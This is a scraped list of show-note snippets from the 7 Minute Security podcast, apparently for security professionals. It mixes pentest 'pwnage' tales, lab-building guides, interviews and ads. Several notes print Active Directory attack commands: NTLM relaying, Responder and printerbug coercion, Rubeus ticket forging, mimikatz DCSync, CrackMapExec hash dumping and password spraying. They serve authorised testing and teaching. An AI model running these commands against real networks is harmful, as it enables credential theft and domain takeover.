7 Minute Security: Recent Episodes
None
Today Amanda Berlin from Blumira teaches us how to unlock the power of Sysmon so we can gain insight into the good, bad and ugly things happening on our corporate endpoints! Key takeaways:
- Sysmon turns your windows logging up to 11, and pairs well with a config file like this one or this one.
- Careful if you are are running sysmon on non-SSD drives - the intense number of writes might bring that disk to its knees.
- Just getting started logging all the things with sysmon? Why not pump those logs into a free logging/alerting system like Wazuh?
- I think it was SolarWinds log collector I was trying to think of while recording the show, not CloudTrail.
Today my pal Paul from Project7 and I hack the heck out of Billy Madison a vulnerable virtual machine that is celebrating its 7th anniversary this month!
Today, sadly, might be the last episode of DIY pentest dropbox tips for a while because I found (well, ChatGPT did actually) the missing link to 100% automate a Kali Linux install! Check episode #449 for more info on building your Kali preseed file, but essentially the last line in
Hey friends, today I'm super excited to share I found the missing link! Specifically, the missing piece that now allows me to create fully automated Windows 10 installs that serve as virtual pentest jumpboxes. Here are the high points:
- When your deployment script is finishing and you need
In today's tale of pwnage, we'll talk about how domain trusts can be dangerous because they have...well...trust issues.
Today we talk about crafting cool cred-capturing phishing campaigns with Caddy server! Here's a quick set of install commands for Ubuntu:
``` sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/ ```
Today we had a blast playing with Wazuh as a SIEM you can use for work and/or home. Inspiration for this episode came from Network Chuck.
This one-liner will literally get Wazuh installed in about 5 minutes:
curl -sO https://packages.wazuh.com/4.4/wazuh-install.sh &&
(Sorry, I don't know how to count. The video says it's pwnage part 48, but it's actually part 49)
Oooo, giggidy! Today's tale of pentest pwnage is about pwning vCenter with CVE-2021-44228 - a vulnerability that lets us bypass authentication entirely and
Today me and my pal Paul from Project7 did a live hacking session and finally got the Callahan Auto brake pad Web app back online! Hopefully you enjoyed this hacking series. The feedback has been great, so we may have to take a crack at Billy in the near future
Hey friends, today we're continuing our series on pwning the Tommy Boy VM on VulnHub VM! P.S. did you miss part one? Check it out on YouTube. Joe "The Machine" Skeen and I had a blast poking and prodding at the VM in hopes to
Today I'm excited to share a featured interview with our new friend Mike Toole of Blumira. We talk about all things EDR, including:
- How does it differ from something like Windows Defender?
- What things do I need to keep in mind if I'm in the market
Holy schnikes - this episode is actually 7 minutes long! What a concept!
Anyway, today I give you a couple tips that have helped me pwn some internal networks the last few weeks, including:
- Getting a second (and third?) opinion on Active Directory Certificate Services vulnerabilities!
- Analyzing the root domain
Hey friends! Today we're taking a second look at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! The tools covered today include:
PHP-HTTP-TARPIT A tool to confuse and waste bot/scanner/hacker time. Grab it here
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Hey friends! Today we're looking at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! ADHD gets you up and running with these tools quickly, but the distro hasn't been updated in a while, so I switched to a vanilla Kali system and setup a cowrie SSH honeypot as follows:
Install prerequisites:
sudo apt-get install git python3-virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind virtualenv
Configure cowrie user
sudo adduser --disabled-password cowriesudo su - cowriegit clone https://github.com/cowrie/cowrie.git ~/cowrie
Install cowrie dependencies (as a sudo user)
cd /home/cowrie/cowriepip3 install -r requirements.txt
Setup python venv (as cowrie user)
virtualenv cowrie-envsource cowrie-env/bin/activatecd etccp cowrie.cfg.dist cowrie.cfg
Edit cowrie.cfg (as cowrie user)I recommend editing the hostname hostname, and setting the [Telnet] value to enabled.
Setup firewall rules to forward 22 and 23 to honeypot ports (as sudo user)
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222sudo iptables -t nat -A PREROUTING -p tcp --dport 23 -j REDIRECT --to-port 2223
Run cowrie (as cowrie user)
bin/cowrie start# Add files to file systembin/fsctl share/cowrie/fs.picklefs.pickle:/$ touch /home/phil/myfile 1024fs.pickle: chown 1000 /home/phil/myfile
Edit cowrie /etc/passwd (as cowrie user)
nano honeyfs/etc/passwd
Edit the phil user to be joe or whoever
Then:
bin/fsctl share/cowrie/fs.picklemv /home/phil /home/joecowrie restart
Customize login banner or motd (as cowrie user)
nano honeyfs/etc/issuenano honeyfs/etc/motd
Create user database of valid logins and passwords (as cowrie user)
cd ~/cowrie/etccp userdb.example userdb.txtnano userdb.txt
Watch the logs fly!
tail -f ~/cowrie/var/log/cowrie/cowrie.log
Today we're talking about reducing anxiety by hacking your mental health with these tips:
- Using personal automation to text people important reminders
- Using Remind to create a personal communication "class" with your family members
- Using Smartsheet (not a sponsor) to create daily email "blasts" to yourself about all the various project todos you need to tackle
Today we look at LDAP Firewall - a cool (and free!) way to defend your domain controllers against SharpHound enumeration, LAPS password enumeration, and the noPac attack.
Hey friends! This week I spoke at the Secure360 conference in Minnesota on Simple Ways to Test Your SIEM. This is something I covered a while back on the podcast, but punched up the content a bit and built a refreshed a two-part GitHub gist that covers:
- Questions you can ask a prospective SIEM/SOC solution to figure out which one is the right fit for you
- All the tools/tips/scripts/etc. you need to run through 7 (and more!) simple ways to test your SIEM!
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
In today's episode we staged an NTLM relay attack using a vulnerable SQL server.
First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:
cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt
Then we setup lsarelayx in one window:
lsarelayx --host=localhost
And in a second window we ran ntlmrelayx.py:
python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM
Finally, in a third window we triggered authentication from the vulnerable SQL server:
Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS
Boom! Watch the local usernames and hashes fall out of the victim system.
We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:
victim1victim2victim3
Then we tweaked the ntlmrelayx command slightly:
python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt
Interestingly(?) only victim2 was attacked.
Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:
python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks
Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.
TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.
Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.
Hey friends, today we're playing with the new (April 2023) version of Local Administrator Password Solution (LAPS). Now it's baked right into PowerShell and the AD Users and Tools console. It's awesome, it's a necessary blue team control for any size company, and you should basically stop reading this and install LAPS now.
Hey friends, today we're talking about building an intentionally vulnerable SQL server, and here are the key URLs/commands talked about in the episode:
- Download SQL Server here
- Install SQL via config .ini file
- Or, install SQL via pure command line
- Deploy SQL with a service account while also starting TCP/IP and named pipes automagically:
setup.exe /Q /IACCEPTSQLSERVERLICENSETERMS /ACTION="install" /FEATURES=SQL /INSTANCENAME=MSSQLSERVER /TCPENABLED=1 /NPENABLED=1 /SQLSVCACCOUNT="YOURDOMAIN\YOUR-SERVICE-ACCOUNT" /SQLSVCPASSWORD="YOUR PASSWORD" /SQLSYSADMINACCOUNTS="YOURDOMAIN\administrator" "YOURDOMAIN\domain users"
* Run PowerUpSQL to find vulnerable SQL servers:
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
* Audit the discovered SQL servers:
Get-SQLInstanceDomain -verbose | invoke-sqlaudit -verbose
* Fire off stored procedures to catch hashes!
Invoke-SQLUncPathInjection -verbose -captureIP IP.OF-YOUR.KALI.BOX
Ok, I know we say this every time, but it is true this time yet again: this is our favorite tale of pentest pwnage. It involves a path to DA we've never tried before, and introduced us to a new trick that one of our favorite old tools can do:
rubeus.exe monitor /interval:5 /nowrap /runfor:60 /registry:SOFTWARE\MONITOR
Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!
Today we offer you some first impressions of OVHcloud and how we're seriously considering moving our Light Pentest LITE training class to it! TLDR:
- It runs on vCenter, my first and only virtualization love!
- Unlimited VM "powered on" time and unlimited bandwidth
- Intergration with PowerShell so you can run a single script to "heal" your environment to a gold image
- Easy integration with pfSense to be able to manage the firewall and internal/external IPs
- Price comparable to what we're paying now in Azure land
Hey friends, today we're covering part 2 of our series all about cracking and mapping and execing with CrackMapExec. Specifically we cover:
```
Enumerate where your user has local admin rights:cme smb x.x.x.x/24 -u user -p password# Set wdigest flag:cme smb x.x.x.x -u user -p password -M wdigest -o ACTION=enable# Dump AD creds:cme smb IP.OF.DOMAIN.CONTROLLER -u user -p password --ntds --enabled# Clean up AD dump output:cat /path/to/file.ntds | grep -iv disabled | cut -d ':' -f1,4 | grep -v '\$' | sort# Check ms-ds-machineaccountquota:cme ldap x.x.x.x -u user -p password -M maq# Check for Active Directory Certificate Services:cme ldap x.x.x.x -u user -p password -M adcs# Pull all AD user descriptions:cme ldap x.x.x.x -u user -p password -M get-desc-users# Pull all AD user descriptions down to a file and search for users with "pass" in description:cme ldap x.x.x.x -u user -p password -M user-desc# CrackMapExec database (CME)## Clear databasesudo rm -r ~/.cme## Handy commands inside the cmedb prompt:hostssharescredsexport shares detailed shares.csvexport creds detailed creds.txt
```
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Hey friends, today we covered many things cracking and mapping and execing with CrackMapExec. Specifically:
```
General enumeration to see if your account works, and where:cme smb x.x.x.x -u username -p pass# Check if print services are enabled:cme smb x.x.x.x -u username -p pass -M spooler# Check for the nopac vuln:cme smb x.x.x.x -u username -p pass -M nopac# Find GP passwords:cme smb DOMAIN.CONTROLLER.IP.ADDRESS -u username -p pass -M gpp_password# Get list of targets with smb signing:cme smb x.x.x.x -u username -p pass --gen-relay-list smbsigning.txt# Set wdigest flag:cme smb x.x.x.x -u username -p pass -M widgest -o ACTION=enable# Dump creds/hashes:cme smb x.x.x.x -u username -p pass -M lsassy# Do pass the hash attackscme smb x.x.x.x -u username -H HASH# Dump SAM database:cme smb x.x.x.x -u username -p pass --sam# Enumerate SMB sharescme smb x.x.x.x -u username -p pass --shares# Conduct slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7# Cleanup from slinky attack:cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7 CLEANUP=TRUE
```
Today’s episode is brought to us by Blumira, which provides easy to use, automated detection and response that can be setup in…well…about 7 minutes! Detect and resolve security threats faster and prevent breaches. Try it free today at blumira.com/7ms!
Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business:
- How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance?
- How do I make sure I have the appropriate levels of coverage?
- What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do?
Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.
Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"
Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):
Change the Responder.conf file like so:
; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default)Challenge = 1122334455667788
Run Responder with --disable-ess flag
sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess
Use printerbug to coax authentication from a domain controller:
sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX
Convert hash to make it easier to crack!
sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER
Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!
Now you can do a Rubeus asktgt with the DC hash:
rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap
Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!
rubeus.exe ptt /ticket:TICKET GOES HERE
Use mimikatz to dump all hashes!
mimikatz.exeprivilege::debuglog hashes.txtlsadump::dcsync /domain:yourdomain.com /all /csv
Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going:
- Use Youzer to import a bunch of bogus users into your Active Directory:
sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv
* Make a Kerberoastable user:
New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $trueenable-adaccount Kerbasetspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba
Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!
Today's episode is brought to us by our friends at Blumira!
Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically:
- Spinning up a domain controller with a few lines of PowerShell
- Installing Active Directory Domain Services
- Setting up an intentionally cruddy password policy
- Baking in the MS14-025 vulnerability
P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options:
https://github.com/Orange-Cyberdefense/GOAD
https://automatedlab.org/en/latest/
https://github.com/microsoft/MSLab
https://github.com/davidprowe/BadBlood
https://github.com/cliffe/secgen
https://github.com/WazeHell/vulnerable-AD
Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include:
- Some typos and bug fixes
- A new section on finding systems with unconstrained delegation and exploiting them
- A new section on finding easily pwnable passwords via password spraying
- A new section relaying credentials with MITM6 (be careful using some of its options - read this)
- New ways (and some words of warning) to dump hashes from Active Directory
Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered:
Port scanning
nmap 10.0.7.0/24 - basic nmap scan
massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports!
Password spraying
Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt
Kerberoasting and ASREPRoasting
rubeus.exe kerberoast /simple
rubeus asreproast /nowrap
Key group membership changes
net group "GROUP NAME" user-to-add-to-a-group /add
Dump Active Directory hashes
cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled
ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q
SMB share hunting
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares
Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023.
Merry belated Christmas, happy holidays and happiest of new year to you and yours!
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Today's tale of pentest pwnage covers some of the following attacks/tools:
- Teleseer for packet capture visualizations on steroids!
- Copernic Desktop Search
- Running Responder as
Responder.py -I eth0 -Awill analyze traffic but not poison it - I like to run mitm6 in one window with
mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdnand then in another window I dontlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log- that way I always have a log of everything happening during the mitm6 attack - Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)
Today we welcome our pal Matthew Warner (CTO and co-founder of Blumira) back to the show for a third time (his first appearance was #507 and second was #529).
I complained to Matt about how so many SIEM/SOC solutions don't catch early warning signs of evil things lurking in customer networks. Specifically, I whined about 7 specific, oft-missed attacks like port scanning, Kerberoasting, ASREPRoasting, password spraying and more. (Shameless self-promotion opportunity: I will be discussing these attacks on an upcoming livestream on December 29).
Matt dives into each of these attacks and shares some fantastic insights into what they look like from a defensive perspective, and also offers practical strategies and tools for detecting them!
Note: during the discussion, Matt points out a lot of important Active Directory groups to keep an eye on from a membership point of view. Those groups include:
- ASAAdmins
- Account Operators
- Administrators
- Administrators
- Backup Operators
- Cert Publishers
- Certificate Service DCOM
- DHCP Administrators
- Debugger Users
- DnsAdmins
- Domain Admins
- Enterprise Admins
- Enterprise Admins
- Event Log Readers
- ExchangeAdmins
- Group Policy Creator Owners
- Hyper-V Administrators
- IIS_IUSRS
- IT Compliance and Security Admins
- Incoming Forest Trust Builders
- MacAdmins
- Network Configuration Operators
- Schema Admins
- Server Operators
- ServerAdmins
- SourceFireAdmins
- WinRMRemoteWMIUsers
- WorkstationAdmins
- vCenterAdmins
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Hey friends, today's episode is extra special because it's our first episode we've ever done live and with video(!). Will we do it again? Who knows. But anyway, we had a fun time talking about things that have gone not so well during pentesting lately, specifically:
- Things we keep getting caught doing (and some potential ways to not get caught!
- Responder
- SharpHound
- CrackMapExec - specifically running
-xor-Xto enumerate systems - PowerHuntShares
- "FUD sprinklers" - people who cast fear, uncertainty and doubt on your pentest findings
- A story about the time I took down a domain controller (yikes)
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today my friends Christopher Fielder and Daniel Thanos from Arctic Wolf chat
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Happy belated Thanksgiving!
This is not a brag or a flex, but this episode
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today we're talking about tales of pentest pwnage - specifically
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today we're talking about securing your mental health! I share
Today’s episode of the 7 Minute Security podcast is brought to you by Blumira, which provides easy-to-use automated detection and response that can be set up in…well..about 7 minutes. Detect and resolve security threats faster, and prevent breaches. Try it free today at blumira.com/
Today’s episode is brought to us by Blumira, which provides easy to use, automated detection and response that can be setup in…well…about 7 minutes! Detect and resolve security threats faster and prevent breaches. Try it free today at blumira.com/7ms!
Today we have
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Hey friends! Today we talk about a SoSaaS (Spreadsheet on Steroids as
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
In today's episode we talk more about eating the security
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Today we talk about configuring your Active Directory with MFA protection thanks to AuthLite
Today we're excited to kick off a new series all about blue team bliss - in other words, we're talking about pentest stories where the blue team controls kicked our butt a little bit! Topics include:
- The ms-ds-machineaccount-quota value is not an "all or nothing&
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today we revisit a series we haven’t touched in a
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Hey friends! Today we're giving you a first impressions episode all about
Today’s episode is brought to us by Blumira, which provides easy to use, automated detection and response that can be setup in…well…about 7 minutes! Detect and resolve security threats faster and prevent breaches. Try it free today at blumira.com/7ms!
In today'
Today we're so excited to welcome Amanda Berlin, Lead Incident Detection Engineer at Blumira, back to the show (did you miss Amanda's first appearance on the show? Check it out here)! You might already be familiar with Amanda's awesome Defensive Security Handbook
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today's episode covers three remediation-focused topics that kind of grind
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Hey friends, today we share the (hopefully) thrilling conclusion of last week&
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Ok, ok, I know. I almost always say something like "
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Hey friends, wow...we're up to thirty-nine episodes of pwnage? Should we
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today we're joined by some of our friends at Arctic
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Hey friends, we have another fun tale of pwnage for you today.
Today we're featuring a great interview with Matthew Warner, CTO and co-founder of Blumira. You might remember Matt from such podcasts as this one) when Matt gave us a fountain of info on why out-of-the-box Windows logging isn't awesome, and how to get it turned up
Today's episode is sponsored by Blumira!
In today's episode, I try to get us thinking about our extended family's emergency/DR plan. Why? Because I recently had a close family member suffer a health scare, and it brought to light some questions we didn&
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
In today's episode we talk about Purple Knight, a free tool to
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Today's another fun tale of pentest pwnage - specifically focused
Today we're sharing an updates to episode #512 where we ran Rapid7's InsightIDR through a bunch of attacks:
- Active Directory enumeration via SharpHound
- Password spraying through Rubeus
- Kerberoasting and ASREPRoasting via Rubeus
- Network protocol poisoning with Inveigh. Looking for a free way to detect protocol poisoning?
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
I'm extra psyched today, because today's episode (which
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Well friends, it has been a while since we talked about Microsoft's
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more.
Hey friends, a while back in episode #505 we talked about pwning